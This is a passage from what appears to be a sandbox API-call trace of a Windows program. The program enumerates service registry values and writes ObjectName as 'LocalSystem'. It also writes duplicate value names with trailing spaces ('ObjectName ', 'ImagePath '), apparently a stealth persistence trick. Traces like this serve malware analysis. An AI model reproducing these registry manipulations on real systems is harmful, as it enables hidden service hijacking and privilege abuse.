lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157020 [0239.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0239.488] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0239.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0239.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0239.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0239.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0239.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0239.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0239.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0239.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0239.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0239.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4730) returned 1 [0239.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d418) returned 1 [0239.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46e8) returned 1 [0239.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d528) returned 1 [0239.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46a0) returned 1 [0239.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d538) returned 1 [0239.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4658) returned 1 [0239.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d358) returned 1 [0239.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4610) returned 1 [0239.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d488) returned 1 [0239.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f45c8) returned 1 [0239.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d348) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4580) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4538) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f44f0) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d448) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f44a8) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3f8) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4460) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4418) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4388) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4340) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2157010) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2157020) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0239.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0239.489] RegQueryValueExA (in: hKey=0x150, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0239.489] RegQueryValueExA (in: hKey=0x150, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f4808, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0239.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0239.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0239.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0239.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219de30) returned 1 [0239.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0239.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0239.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0239.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0239.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0239.491] RegQueryValueExA (in: hKey=0x14c, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0239.491] RegQueryValueExA (in: hKey=0x14c, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f42f8, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0239.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0239.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0239.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0239.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0239.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0239.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0239.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0239.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0239.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0239.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0239.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0239.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0239.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0239.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219ddd8) returned 1 [0239.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0239.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f47c0 [0239.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0239.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0239.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.492] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0239.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.492] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0239.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.492] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0239.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0239.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.492] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0239.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0239.493] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0239.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0239.493] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0239.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0239.493] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0239.493] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0239.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0239.493] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0239.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0239.493] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0239.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0239.493] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0239.493] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0239.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0239.493] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0239.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0239.493] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0239.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0239.494] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0239.494] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0239.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0239.494] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0239.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0239.494] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0239.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0239.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0239.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0239.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0239.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0239.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 